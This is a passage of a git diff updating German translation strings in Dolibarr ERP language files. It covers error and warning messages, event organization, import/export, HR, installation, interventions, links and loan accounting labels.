Lagerbestand zu Verändern eingeschaltet ist (Sie müssen jedes Dokument einzeln freigeben umd das Lager für die Lagerbewegung anzugeben) +ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=Massenfreigabe ist nicht möglich, wenn die Option zur Veränderung des Lagerbestands eingeschaltet ist (jedes Dokument ist einzeln freizugeben, um das Lager für die Lagerbewegung anzugeben) ErrorObjectMustHaveStatusDraftToBeValidated=Objekt %s muss im Entwurfstatus sein um es zu bestätigen. ErrorObjectMustHaveLinesToBeValidated=Objekt %s muss Zeilen haben damit es freigegeben werden kann. ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Nur freigegebene Rechnungen können mittels der "Via E-Mail senden" Massenaktion versendet werden. @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objekte müssen den Status 'Aktiv' h ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objekte müssen den Status 'Entwurf' oder 'Deaktiviert' haben, um aktiviert werden zu können ErrorNoFieldWithAttributeShowoncombobox=Kein Feld mit der Eigenschaft 'showoncombobox' in Objektdefinition '%s'. Kann keine Combo-Box anzeigen. ErrorFieldRequiredForProduct=Feld '%s' ist erforderlich für Produkt '%s' +AlreadyTooMuchPostOnThisIPAdress=Sie haben bereits zu viel unter dieser IP-Adresse gepostet. ProblemIsInSetupOfTerminal=Das Problem liegt an der Einrichtung des Terminals %s. ErrorAddAtLeastOneLineFirst=Fügen Sie mindestens eine Zeile hinzu ErrorRecordAlreadyInAccountingDeletionNotPossible=Fehler, Datensatz ist bereits in Buchhaltung übertragen, Löschen nicht möglich. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Fehler, Parameter %s muss ErrorLoginDateValidity=Fehler, diese Anmeldung liegt außerhalb des Gültigkeitszeitraums ErrorValueLength=Die Länge des Feldes ' %s ' muss höher sein als ' %s '. ErrorReservedKeyword=Das Wort ' %s ' ist ein reserviertes Schlüsselwort +ErrorFilenameReserved=Der Dateiname %s kann nicht verwendet werden, da es sich um einen reservierten und geschützten Befehl handelt. ErrorNotAvailableWithThisDistribution=Nicht verfügbar mit dieser Version ErrorPublicInterfaceNotEnabled=Öffentliche Schnittstelle wurde nicht aktiviert ErrorLanguageRequiredIfPageIsTranslationOfAnother=Die Sprache der neuen Seite muss definiert werden, wenn sie als Übersetzung einer anderen Seite festgelegt ist @@ -277,8 +281,8 @@ ErrorWrongFileName=Der Dateiname darf nicht __SOMETHING__ enthalten ErrorNotInDictionaryPaymentConditions=Nicht im Dictionary der Zahlungsbedingungen, bitte ändern. ErrorIsNotADraft=%s ist kein Entwurf ErrorExecIdFailed=Befehl "id" kann nicht ausgeführt werden -ErrorBadCharIntoLoginName=Unzulässiges Zeichen im Login-Namen -ErrorRequestTooLarge=Fehler, Anfrage zu groß +ErrorBadCharIntoLoginName=Unzulässiges Zeichen im Feld %s +ErrorRequestTooLarge=Fehler, Anfrage zu groß oder Sitzung abgelaufen ErrorNotApproverForHoliday=Sie sind nicht der Genehmiger für den Urlaub %s ErrorAttributeIsUsedIntoProduct=Dieses Attribut wird in mindestens einer Produktvariante verwendet ErrorAttributeValueIsUsedIntoProduct=Dieser Attributwert wird in mindestens einer Produktvariante verwendet @@ -291,6 +295,21 @@ ErrorAjaxRequestFailed=Anfrage fehlgeschlagen ErrorThirpdartyOrMemberidIsMandatory=Geschäftspartner oder Mitglied ist für die Partnerschaft verpflichtend ErrorFailedToWriteInTempDirectory=Fehler beim Schreiben in das temporäre Verzeichnis ErrorQuantityIsLimitedTo=Die Menge ist auf %s begrenzt +ErrorFailedToLoadThirdParty=Geschäftspartner mi id=%s, email=%s, name=%s konnte nicht gefunden/geladen werden +ErrorThisPaymentModeIsNotSepa=Diese Zahlungsart ist kein Bankkonto +ErrorStripeCustomerNotFoundCreateFirst=Stripe-Kunde ist für diesen Geschäftspartner nicht festgelegt (oder auf einen Wert gesetzt, der auf der Stripe-Seite gelöscht wurde). Erstellen Sie ihn zuerst (oder fügen Sie ihn erneut hinzu). +ErrorCharPlusNotSupportedByImapForSearch=Die IMAP-Suche ist nicht in der Lage, im Absender oder Empfänger nach einer Zeichenfolge zu suchen, die das Zeichen + enthält +ErrorTableNotFound=Tabelle %s nicht gefunden +ErrorValueForTooLow=Wert für %s ist zu niedrig +ErrorValueCantBeNull=Der Wert für %s darf nicht null sein +ErrorDateOfMovementLowerThanDateOfFileTransmission=Das Datum der Banküberweisung darf nicht vor dem Datum der Dateiübermittlung liegen +ErrorTooMuchFileInForm=Zu viele Dateien im Formular, die maximale Anzahl beträgt %s Datei(en) +ErrorSessionInvalidatedAfterPasswordChange=Die Sitzung wurde nach einer Änderung von Passwort, Status oder Gültigkeitsdaten ungültig. Bitte melden Sie sich erneut an. +ErrorExistingPermission = Berechtigung %s für Objekt %s existiert bereits +ErrorFieldExist=Der Wert für %s existiert bereits +ErrorEqualModule=Modul ungültig in %s +ErrorFieldValue=Der Wert für %s ist falsch +ErrorCoherenceMenu= %s ist erforderlich, wenn %s 'left' ist # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Ihr PHP Parameter upload_max_filesize (%s) ist größer als Parameter post_max_size (%s). Dies ist eine inkonsistente Einstellung. @@ -304,7 +323,7 @@ WarningConfFileMustBeReadOnly=Achtung: Die Konfigurationsdatei (htdocs/conf/c WarningsOnXLines=Warnhinweise in %s Quellzeilen WarningNoDocumentModelActivated=Für das Erstellen von Dokumenten ist keine Vorlage gewählt. Eine Standardvorlage wurde ausgewählt, bis Sie die Moduleinstellungen angepasst haben. WarningLockFileDoesNotExists=Achtung, nach Abschluss der Installation müssen Sie die Installations- und Migrationstools durch Hinzufügen der Datei install.lock im Verzeichnis %s deaktivieren. Die Nichterstellung dieser Datei stellt ein schwerwiegendes Sicherheitsrisiko dar. -WarningUntilDirRemoved=Alle Sicherheitswarnungen (nur für Admin-Benutzer sichtbar) bleiben aktiv, solange die Sicherheitsanfälligkeit vorliegt (oder die Konstante MAIN_REMOVE_INSTALL_WARNING in Startseite - Einstellungen - Andere Einstellungen hinzugefügt wird). +WarningUntilDirRemoved=Diese Sicherheitswarnung bleibt aktiv, solange die Schwachstelle vorhanden ist. WarningCloseAlways=Achtung: es wird auch dann geschlossen, wenn der Betrag zwischen Quelle und Ziel unterschiedlich ist. Aktivieren Sie dieses Feature mit Bedacht. WarningUsingThisBoxSlowDown=Warnung: Der Einsatz dieses Widgets verlangsamt Seiten auf denen dieses Widget aktiv ist spürbar. WarningClickToDialUserSetupNotComplete=Die ClickToDial-Informationen für Ihren Benutzer sind nicht vollständig (siehe Registerkarte ClickToDial auf Ihrer Benutzerkarte). @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=Zahlungsdatum (%s) liegt vor dem Rechnung WarningTooManyDataPleaseUseMoreFilters=Zu viele Ergebnisse (mehr als %s Zeilen). Bitte benutzen Sie mehr Filter oder erhöhen sie die Konstante %s auf einen höheren Wert. WarningSomeLinesWithNullHourlyRate=Einige erfasste Zeiten wurden von Benutzern erfasst bei denen der Stundensatz undefiniert war. Ein Stundenansatz von 0 %s pro Stunde wurde verwendet, was eine fehlerhafte Zeitauswertungen zur Folge haben kann. WarningYourLoginWasModifiedPleaseLogin=Ihr Login wurde verändert. Aus Sicherheitsgründen müssen Sie sich vor der nächsten Aktion mit Ihrem neuen Login anmelden. +WarningYourPasswordWasModifiedPleaseLogin=Ihr Passwort wurde geändert. Aus Sicherheitsgründen müssen Sie sich jetzt mit Ihrem neuen Passwort anmelden. WarningAnEntryAlreadyExistForTransKey=Eine Übersetzung für diesen Übersetzungsschlüssel existiert schon für diese Sprache WarningNumberOfRecipientIsRestrictedInMassAction=Achtung, die Anzahl der verschiedenen Empfänger ist auf %s beschränkt, wenn Massenaktionen für Listen verwendet werden WarningDateOfLineMustBeInExpenseReportRange=Das Datum dieser Positionszeile ist ausserhalb der Datumsspanne dieser Spesenabrechnung @@ -326,6 +346,9 @@ WarningAvailableOnlyForHTTPSServers=Nur verfügbar, wenn eine HTTPS-gesicherte V WarningModuleXDisabledSoYouMayMissEventHere=Das Modul %s wurde nicht aktiviert. Sie können also eine Menge Veranstaltung hier verpassen. WarningPaypalPaymentNotCompatibleWithStrict=Der Wert 'Strict' führt dazu, dass die Online-Zahlungsfunktionen nicht richtig funktionieren. Verwenden Sie stattdessen 'Lax'. WarningThemeForcedTo=Warnung, das Theme wurde durch die versteckte Konstante MAIN_FORCETHEME auf %s erzwungen +WarningPagesWillBeDeleted=Achtung: dadurch werden auch alle bestehenden Seiten/Container der Website gelöscht. Sie sollten Ihre Website vorher exportieren, damit Sie ein Backup haben, um sie später wieder zu importieren. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Die automatische Freigabe ist deaktiviert, wenn die Option zur Bestandsverringerung auf "Rechnungsfreigabe" eingestellt ist. +WarningModuleNeedRefrech = Modul %s wurde deaktiviert. Vergessen Sie nicht, es zu aktivieren # Validate RequireValidValue = Wert nicht gültig diff --git a/htdocs/langs/de_DE/eventorganization.lang b/htdocs/langs/de_DE/eventorganization.lang index be567b9d11a..d3b21af3c45 100644 --- a/htdocs/langs/de_DE/eventorganization.lang +++ b/htdocs/langs/de_DE/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Schränkt im Formular zum Erstellen/Hin # Object # EventOrganizationConfOrBooth= Konferenzbeitrag oder Stand +EventOrganizationConfOrBoothes=Konferenzbeiträge oder Stände ManageOrganizeEvent = Veranstaltung organisieren ConferenceOrBooth = Konferenzbeitrag oder Stand ConferenceOrBoothTab = Konferenzbeitrag oder Stand @@ -114,25 +115,25 @@ EvntOrgRegistrationHelpMessage = Hier können Sie für einen Konferenzbeitrag ab EvntOrgRegistrationConfHelpMessage = Hier können Sie einen neue Konferenzbeitrag vorschlagen, der während der Veranstaltung gehalten werden soll. EvntOrgRegistrationBoothHelpMessage = Hier können Sie sich für einen Stand während der Veranstaltung bewerben. ListOfSuggestedConferences = Liste der vorgeschlagenen Konferenzbeiträge -ListOfSuggestedBooths = Liste der vorgeschlagenen Stände -ListOfConferencesOrBooths=Liste der Konferenzbeiträge und Stände des Veranstaltungsprojekts +ListOfSuggestedBooths=Vorgeschlagene Stände +ListOfConferencesOrBooths=Konferenzbeiträge oder Stände des Veranstaltungsprojekts SuggestConference = Einen neuen Konferenzbeitrag vorschlagen SuggestBooth = Einen Stand vorschlagen ViewAndVote = Vorgeschlagene Veranstaltungen ansehen und abstimmen PublicAttendeeSubscriptionGlobalPage = Öffentlicher Link für die Anmeldung zur Veranstaltung PublicAttendeeSubscriptionPage = Öffentlicher Link für die Anmeldung nur zu dieser Veranstaltung MissingOrBadSecureKey = Der Sicherheitsschlüssel ist ungültig oder fehlt -EvntOrgWelcomeMessage = Mit diesem Formular können Sie sich als neuer Teilnehmer für die Veranstaltung anmelden: %s +EvntOrgWelcomeMessage = Mit diesem Formular können Sie sich als neuer Teilnehmer zur Veranstaltung anmelden EvntOrgDuration = Diese Konferenz beginnt am %s und endet am %s. ConferenceAttendeeFee = Konferenzteilnehmergebühr für die Veranstaltung: '%s' vom %s bis %s. BoothLocationFee = Stand für die Veranstaltung: '%s' vom %s bis %s EventType = Ereignistyp -LabelOfBooth=Stand-Label -LabelOfconference=Konferenz-Label +LabelOfBooth=Standbezeichnung +LabelOfconference=Vortragsbezeichnung ConferenceIsNotConfirmed=Anmeldung nicht möglich, Konferenz ist noch nicht freigegeben DateMustBeBeforeThan=%s muss vor %s sein DateMustBeAfterThan=%s muss nach %s sein - +MaxNbOfAttendeesReached=Die maximale Teilnehmerzahl ist erreicht NewSubscription=Anmeldung OrganizationEventConfRequestWasReceived=Ihr Vorschlag für einen Konferenzbeitrag ist eingegangen OrganizationEventBoothRequestWasReceived=Ihre Anfrage für einen Stand ist eingegangen @@ -157,7 +158,7 @@ VoteOk = Ihre Stimme wurde angenommen. AlreadyVoted = Sie haben bereits für diese Veranstaltung abgestimmt. VoteError = Bei der Abstimmung ist ein Fehler aufgetreten. Bitte versuchen Sie es erneut. -SubscriptionOk = Ihre Anmeldung wurde bestätigt +SubscriptionOk=Ihre Anmeldung wurde erfasst ConfAttendeeSubscriptionConfirmation = Bestätigung Ihrer Anmeldung zu einer Veranstaltung Attendee = Teilnehmer PaymentConferenceAttendee = Zahlung für Konferenzteilnehmer @@ -165,8 +166,11 @@ PaymentBoothLocation = Zahlung für einen Stand DeleteConferenceOrBoothAttendee=Teilnehmer entfernen RegistrationAndPaymentWereAlreadyRecorder=Für die E-Mail-Adresse %s wurden bereits eine Anmeldung und eine Zahlung erfasst EmailAttendee=Teilnehmer-E-Mail +EmailCompany=Firmen-E-Mail EmailCompanyForInvoice=Firmen-E-Mail (für Rechnung, falls abweichend von der Teilnehmer-E-Mail) ErrorSeveralCompaniesWithEmailContactUs=Es wurden mehrere Unternehmen mit dieser E-Mail-Adresse gefunden, sodass wir Ihre Registrierung nicht automatisch freigeben können. Bitte kontaktieren Sie uns unter %s für eine manuelle Freigabe ErrorSeveralCompaniesWithNameContactUs=Es wurden mehrere Unternehmen mit diesem Namen gefunden, so dass wir Ihre Registrierung nicht automatisch freigeben können. Bitte kontaktieren Sie uns unter %s für eine manuelle Freigabe NoPublicActionsAllowedForThisEvent=Für diese Veranstaltung sind keine Aktionen für die Öffentlichkeit zugänglich MaxNbOfAttendees=Maximale Teilnehmerzahl +DateStartEvent=Startdatum der Veranstaltung +DateEndEvent=Enddatum der Veranstaltung diff --git a/htdocs/langs/de_DE/exports.lang b/htdocs/langs/de_DE/exports.lang index e8781a675e0..2899ae434d0 100644 --- a/htdocs/langs/de_DE/exports.lang +++ b/htdocs/langs/de_DE/exports.lang @@ -1,8 +1,8 @@ # Dolibarr language file - Source file is en_US - exports ExportsArea=Exporte ImportArea=Import -NewExport=neuer Export -NewImport=neuer Import +NewExport=Neuer Export +NewImport=Neuer Import ExportableDatas=Exportfähige Datensätze ImportableDatas=Importfähige Datensätze SelectExportDataSet=Wählen Sie den zu exportierenden Datensatz... @@ -18,6 +18,7 @@ ExportableFields=Exportfähige Felder ExportedFields=Exportierte Felder ImportModelName=Name des Importprofils ImportModelSaved=Importprofil gespeichert unter dem Namen %s +ImportProfile=Importprofil DatasetToExport=Zu exportierender Datensatz DatasetToImport=Zu importierender Datensatz ChooseFieldsOrdersAndTitle=Wählen Sie die Reihenfolge und Bezeichnung der Felder... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=Art der Zeile (0=Produkt, 1=Leistung) FileWithDataToImport=Datei mit zu importierenden Daten FileToImport=Quelldatei für Import FileMustHaveOneOfFollowingFormat=Die zu importierende Datei muss eines der folgenden Formate haben +DownloadEmptyExampleShort=Beispieldatei herunterladen DownloadEmptyExample=Vorlagendatei herunterladen mit Beispielen und Informationen zu importierbaren Feldern StarAreMandatory=In der Vorlagendatei sind alle Felder mit einem * Pflichtfelder ChooseFormatOfFileToImport=Wählen Sie das Dateiformat aus, das als Importdateiformat verwendet werden soll, indem Sie auf das Symbol %s klicken, um es auszuwählen ... @@ -82,7 +84,7 @@ SelectFormat=Wählen Sie das Format der Importdatei RunImportFile=Datenimport starten NowClickToRunTheImport=Überprüfen Sie die Ergebnisse der Importsimulation. Korrigieren Sie alle Fehler und testen Sie sie erneut.
      Wenn die Simulation keine Fehler meldet, können Sie die Daten in die Datenbank importieren. DataLoadedWithId=Die importierten Daten enthalten in jeder Datenbanktabelle ein zusätzliches Feld mit der folgenden Import-ID: %s , damit sie bei der Untersuchung im Falle eines Problems im Zusammenhang mit diesem Import durchsucht werden können. -ErrorMissingMandatoryValue=Pflichtfeld ist in der Quelldatei für das Feld %s leer. +ErrorMissingMandatoryValue=In der Quelldatei fehlen Pflichtdaten in der Spalte %s. TooMuchErrors=Es gibt immer noch %s andere Quellzeilen mit Fehlern, aber die Ausgabe wurde beschränkt. TooMuchWarnings=Es gibt noch %s andere Quelltextzeilen mit Warnungen, aber die Ausgabe wurde beschränkt. EmptyLine=Leerzeile (verworfen) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Sie können alle importierten Datensätze in Ihrer NbOfLinesOK=Zeilenanzahl ohne Fehler und Warnungen: %s. NbOfLinesImported=Anzahl der erfolgreich importierten Zeilen: %s. DataComeFromNoWhere=Der einzufügende Wert kommt nicht aus der Quelldatei. -DataComeFromFileFieldNb=Der einzufügende Wert stammt aus Feldnummer %s der Quelldatei. -DataComeFromIdFoundFromRef=Der Wert, der von der Feldnummer %s der Quelldatei stammt, wird verwendet, um die ID des zu verwendenden übergeordneten Objekts zu ermitteln (daher muss das Objekt %s , welches die Referenz der Quelldatei hat in der Datenbank existieren). -DataComeFromIdFoundFromCodeId=Code, der aus der Feldnummer %s der Quelldatei stammt, wird verwendet, um die ID des zu verwendenden übergeordneten Objekts zu ermitteln (also muss der Code der Quelldatei im Verzeichnis %s existieren). Wenn Sie die ID kennen, können Sie sie auch in der Quelldatei anstelle des Codes verwenden. Der Import sollte in beiden Fällen funktionieren. +DataComeFromFileFieldNb=Einzufügender Wert stammt aus Spalte %s in der Quelldatei. +DataComeFromIdFoundFromRef=Der Wert, der aus der Quelldatei stammt, wird verwendet, um die ID des zu verwendenden übergeordneten Objekts zu finden (das Objekt %s mit der Referenz aus der Quelldatei muss daher in der Datenbank vorhanden sein). +DataComeFromIdFoundFromCodeId=Der Wert des Codes, der aus der Quelldatei stammt, wird verwendet, um die ID des zu verwendenden übergeordneten Objekts zu finden (der Code aus der Quelldatei muss daher im Wörterbuch %s vorhanden sein). Beachten Sie, dass Sie, wenn Sie die ID kennen, diese auch in der Quelldatei anstelle des Codes verwenden können. Der Import sollte in beiden Fällen funktionieren. DataIsInsertedInto=Die Quelldateidaten werden in folgendes Feld eingefügt: DataIDSourceIsInsertedInto=Die ID des übergeordneten Objekts, das anhand der Daten in der Quelldatei gefunden wurde, wird in das folgende Feld eingefügt: DataCodeIDSourceIsInsertedInto=Die ID der übergeordneten Zeile, die mittels Code gefunden wurde, wird in das folgende Feld eingefügt: @@ -132,9 +134,14 @@ FormatControlRule=Regel für die Formatkontrolle ## imports updates KeysToUseForUpdates=Schlüssel (Spalte), der zum Aktualisieren der vorhandenen Daten von verwendet wird NbInsert=Anzahl eingefügter Zeilen: %s +NbInsertSim=Anzahl der einzufügenden Zeilen: %s NbUpdate=Anzahl geänderter Zeilen: %s +NbUpdateSim=Anzahl der Zeilen, die aktualisiert werden: %s MultipleRecordFoundWithTheseFilters=Mehrere Ergebnisse wurden mit diesen Filtern gefunden: %s StocksWithBatch=Lagerbestände und Standort (Lager) von Produkten mit Chargen- / Seriennummer WarningFirstImportedLine=Die erste(n) Zeile(n) werden mit der aktuellen Auswahl nicht importiert NotUsedFields=Nicht verwendete Felder der Datenbank SelectImportFieldsSource = Ordnen Sie die Felder aus der zu importierenden Datei den entsprechenden Feldern in der Datenbank mit Hilfe der Auswahlelemente zu oder wählen Sie ein vordefiniertes Importprofil aus: +MandatoryTargetFieldsNotMapped=Einige Pflicht-Zielfelder sind nicht zugeordnet +AllTargetMandatoryFieldsAreMapped=Alle Pflicht-Zielfelder sind zugeordnet +ResultOfSimulationNoError=Simulationsergebnis: Kein Fehler diff --git a/htdocs/langs/de_DE/hrm.lang b/htdocs/langs/de_DE/hrm.lang index 6dfa51139c0..c456572ac18 100644 --- a/htdocs/langs/de_DE/hrm.lang +++ b/htdocs/langs/de_DE/hrm.lang @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=Standardbeschreibung der Qualifikationsstufen beim deplacement=Schicht DateEval=Bewertungstag JobCard=Position – Übersicht -JobPosition=Position -JobsPosition=Positionen +JobPosition=Stellenbeschreibung +JobsPosition=Stellenbeschreibungen NewSkill=Neue Kompetenz SkillType=Art der Kompetenz Skilldets=Liste der Qualifikationsstufen für diese Kompetenz @@ -62,7 +62,7 @@ MaxLevelLowerThan=Maximales Niveau niedriger in der Anforderung MaxlevelGreaterThanShort=Mitarbeiterniveau höher als in der Anforderung MaxLevelEqualToShort=Mitarbeiterniveau entspricht der Anforderung MaxLevelLowerThanShort=Mitarbeiterniveau niedriger als in der Anforderung -SkillNotAcquired=Kompetenz wurde nicht von allen Benutzern erworben, aber im Vergleiche angefragt +SkillNotAcquired=Kompetenz wurde nicht von allen Benutzern erworben, aber im Vergleich angefragt legend=Legende TypeSkill=Art der Kompetenz AddSkill=Kompetenzen zur Position hinzufügen @@ -86,7 +86,7 @@ SaveAddSkill = Kompetenz(en) hinzugefügt SaveLevelSkill = Kompetenzstufe gespeichert DeleteSkill = Kompetenz entfernt SkillsExtraFields=Ergänzende Attribute (Kompetenzen) -JobsExtraFields=Ergänzende Attribute (Mitarbeiter) +JobsExtraFields=Ergänzende Attribute (Stellenprofil) EvaluationsExtraFields=Ergänzende Attribute (Beurteilungen) NeedBusinessTravels=Geschäftsreisen erforderlich NoDescription=Keine Beschreibung diff --git a/htdocs/langs/de_DE/install.lang b/htdocs/langs/de_DE/install.lang index f9278fec8d4..5afef9047ea 100644 --- a/htdocs/langs/de_DE/install.lang +++ b/htdocs/langs/de_DE/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=PHP-Version zu alt. Version %s oder höher ist erforderlic ErrorPHPVersionTooHigh=PHP-Version zu hoch. Version %s oder niedriger ist erforderlich. ErrorConnectedButDatabaseNotFound=Verbindung zum Server erfolgreich, jedoch konnte Datenbank '%s' nicht gefunden werden. ErrorDatabaseAlreadyExists=Eine Datenbank mit dem Namen '%s' existiert bereits. +ErrorNoMigrationFilesFoundForParameters=Für die ausgewählten Versionen wurde keine Migrationsdatei gefunden IfDatabaseNotExistsGoBackAndUncheckCreate=Sollte die Datenbank noch nicht existieren, gehen Sie bitte zurück und aktivieren Sie das Kontrollkästchen "Datenbank erstellen". IfDatabaseExistsGoBackAndCheckCreate=Sollte die Datenbank bereits existieren, gehen Sie bitte zurück und deaktivieren Sie das Kontrollkästchen "Datenbank erstellen". WarningBrowserTooOld=Ihre Browser-Version ist veraltet. Es wird dringend empfohlen auf eine aktuelle Version von Firefox, Chrome oder Opera upzugraden. @@ -50,7 +51,6 @@ DatabaseName=Name der Datenbank DatabasePrefix=Präfix für die Datenbanktabellen DatabasePrefixDescription=Tabellen-Präfix der Datenbank. Sofern nicht gesetzt, wird 'llx_' benutzt. AdminLogin=Login für Dolibarr Datenbank-Administrator. -PasswordAgain=Passworteingabe bestätigen AdminPassword=Passwort des dolibarr-Datenbankadministrators CreateDatabase=Datenbank erstellen CreateUser=Erstellen Sie ein Benutzerkonto oder erteilen Sie der Dolibarr-Datenbank die Berechtigung für ein Benutzerkonto @@ -88,7 +88,7 @@ LoginAlreadyExists=Dieser Benutzername ist bereits vergeben DolibarrAdminLogin=Anmeldung für dolibarr-Administrator AdminLoginAlreadyExists=Ein Administratorkonto '%s' ist bereits vorhanden. \nGehen Sie zurück um ein anderes Konto zu erstellen. FailedToCreateAdminLogin=Fehler beim erstellen des Dolibarr Administrator Kontos. -WarningRemoveInstallDir=Warnung: Aus Sicherheitsgründen sollten Sie nach Abschluss der Installation oder Aktualisierung eine Datei mit dem Namen install.lock in das Dolibarr-Dokumentenverzeichnis einfügen, um die versehentliche / böswillige Verwendung der Installationstools zu verhindern. +WarningRemoveInstallDir=Warnung: Aus Sicherheitsgründen müssen Sie nach Abschluss des Installationsvorgangs eine Datei namens install.lock in das Dokumentenverzeichnis von Dolibarr einfügen, um die erneute versehentliche/böswillige Verwendung der Installationstools zu verhindern. FunctionNotAvailableInThisPHP=Diese Funktion steht in Ihrer eingesetzten PHP-Version nicht zur Verfügung. ChoosedMigrateScript=Verwendetes Migrationsskript: DataMigration=Datenmigration @@ -208,7 +208,12 @@ HideNotAvailableOptions=Nicht verfügbare Optionen ausblenden ErrorFoundDuringMigration=Während des Migrationsprozesses wurden Fehler gemeldet. Der nächste Schritt ist nicht verfügbar. Um Fehler zu ignorieren, können Sie hier klicken , aber die Anwendung oder einige Funktionen funktionieren möglicherweise nicht richtig, bis die Fehler behoben sind. YouTryInstallDisabledByDirLock=Die Anwendung hat versucht, sich selbst zu aktualisieren, aber die Installations- / Aktualisierungsseiten wurden aus Sicherheitsgründen deaktiviert (Verzeichnis umbenannt mit .lock-Suffix).
      YouTryInstallDisabledByFileLock=Die Anwendung hat versucht, sich selbst zu aktualisieren, aber die Installations-/Upgrade-Seiten wurden aus Sicherheitsgründen deaktiviert (durch die Existenz einer Sperrdatei install.lock im Dokumenten-Verzeichnis).
      +YouTryUpgradeDisabledByMissingFileUnLock=Die Anwendung hat versucht, sich selbst zu aktualisieren, aber der Aktualisierungsprozess ist derzeit nicht zulässig.
      ClickHereToGoToApp=Hier klicken um zu Ihrer Anwendung zu kommen ClickOnLinkOrRemoveManualy=Wenn ein Upgrade durchgeführt wird, warten Sie bitte. Wenn nicht, klicken Sie auf den folgenden Link. Wenn Sie immer dieselbe Seite sehen, müssen Sie die Datei install.lock im Dokumentenverzeichnis entfernen / umbenennen. +ClickOnLinkOrCreateUnlockFileManualy=Wenn gerade ein Upgrade durchgeführt wird, warten Sie bitte... Wenn nicht, müssen Sie eine Datei upgrade.unlock im Dokumentenverzeichnis von Dolibarr erstellen. Loaded=Geladen FunctionTest=Funktionstest +NodoUpgradeAfterDB=Keine Aktion von externen Modulen nach Upgrade der Datenbank angefordert +NodoUpgradeAfterFiles=Keine Aktion von externen Modulen nach dem Upgrade von Dateien oder Verzeichnissen angefordert +MigrationContractLineRank=Vertragszeile migrieren, um Rang zu verwenden (und Neuordnung zu aktivieren) diff --git a/htdocs/langs/de_DE/interventions.lang b/htdocs/langs/de_DE/interventions.lang index 74d8993e3eb..658581c66df 100644 --- a/htdocs/langs/de_DE/interventions.lang +++ b/htdocs/langs/de_DE/interventions.lang @@ -50,10 +50,10 @@ UseDateWithoutHourOnFichinter=Stunden- und Minutenfelder beim Datum von Einsatze InterventionStatistics=Statistik Serviceaufträge NbOfinterventions=Anzahl Dokumente für Serviceaufträge NumberOfInterventionsByMonth=Anzahl Dokumente für Serviceaufträge pro Monat (Freigabedatum) -AmountOfInteventionNotIncludedByDefault=Der Beitrag der Einsätze ist normalerweise nicht im Umsatz enthalten. (In den meisten Fällen werden die Einsatzstunden separat erfasst). Die globale Option PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT auf 1 setzen, damit diese berücksichtigt werden. +AmountOfInteventionNotIncludedByDefault=Der Umsatz der Serviceaufträge wird standardmäßig nicht in den Gewinn einbezogen (in den meisten Fällen werden Stundenzettel verwendet, um die aufgewendete Zeit zu zählen). Sie können die Optionen PROJECT_ELEMENTS_FOR_ADD_MARGIN und PROJECT_ELEMENTS_FOR_MINUS_MARGIN in home-setup-other verwenden, um die Liste der in den Gewinn einbezogenen Elemente zu vervollständigen. InterId=Serviceauftrag ID InterRef=Serviceauftrag Ref. -InterDateCreation=Erstellungsdatum Serviceauftrag +InterDateCreation=Erstellungszeitpunkt Serviceauftrag InterDuration=Dauer Serviceauftrag InterStatus=Status Serviceauftrag InterNote=Serviceauftrag Bemerkung @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Möchten Sie den Serviceauftrag %s wieder öffn GenerateInter=Serviceauftrag erstellen FichinterNoContractLinked=Der Serviceauftrag %s wurde ohne verknüpften Vertrag erstellt. ErrorFicheinterCompanyDoesNotExist=Unternehmen existiert nicht. Serviceauftrag wurde nicht erstellt. +NextDateToIntervention=Datum für die nächste Erzeugung eines Serviceauftrags +NoIntervention=Kein Serviceauftrag diff --git a/htdocs/langs/de_DE/link.lang b/htdocs/langs/de_DE/link.lang index 2c9e412b742..e66eb1bdf6f 100644 --- a/htdocs/langs/de_DE/link.lang +++ b/htdocs/langs/de_DE/link.lang @@ -1,11 +1,11 @@ # Dolibarr language file - Source file is en_US - languages -LinkANewFile=Verknüpfe eine neue Datei / ein Dokument -LinkedFiles=Verknüpfte Dateien und Dokumente +LinkANewFile=Neue Verknüpfung erstellen +LinkedFiles=Verknüpfte Dateien NoLinkFound=Keine verknüpften Links LinkComplete=Die Datei wurde erfolgreich verlinkt. ErrorFileNotLinked=Die Datei konnte nicht verlinkt werden. LinkRemoved=Der Link %s wurde entfernt ErrorFailedToDeleteLink= Fehler beim entfernen des Links '%s' ErrorFailedToUpdateLink= Fehler beim aktualisieren des Link '%s' -URLToLink=URL zum verlinken -OverwriteIfExists=Overwrite file if exists +URLToLink=zu verlinkende URL +OverwriteIfExists=Datei überschreiben, falls vorhanden diff --git a/htdocs/langs/de_DE/loan.lang b/htdocs/langs/de_DE/loan.lang index 2b5bd545473..ddc056fcbd5 100644 --- a/htdocs/langs/de_DE/loan.lang +++ b/htdocs/langs/de_DE/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Es kann kein Zahlungsplan für ein Darleh CantModifyInterestIfScheduleIsUsed = Sie können die Zinsen nicht ändern, wenn Sie den Zahlungsplan verwenden. # Admin ConfigLoan=Konfiguration des Moduls Darlehen -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Standard-Buchungskonto Darlehensbetrag -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Standard-Buchungskonto Zinsen -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Standard-Buchungskonto Versicherung +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Konto (aus dem Kontenplan), das standardmäßig für Kapital verwendet werden soll (Darlehensmodul) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Konto (aus dem Kontenplan), das standardmäßig für Zinsen verwendet werden soll (Darlehensmodul) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Konto (aus dem Kontenplan), das standardmäßig für Versicherungen verwendet werden 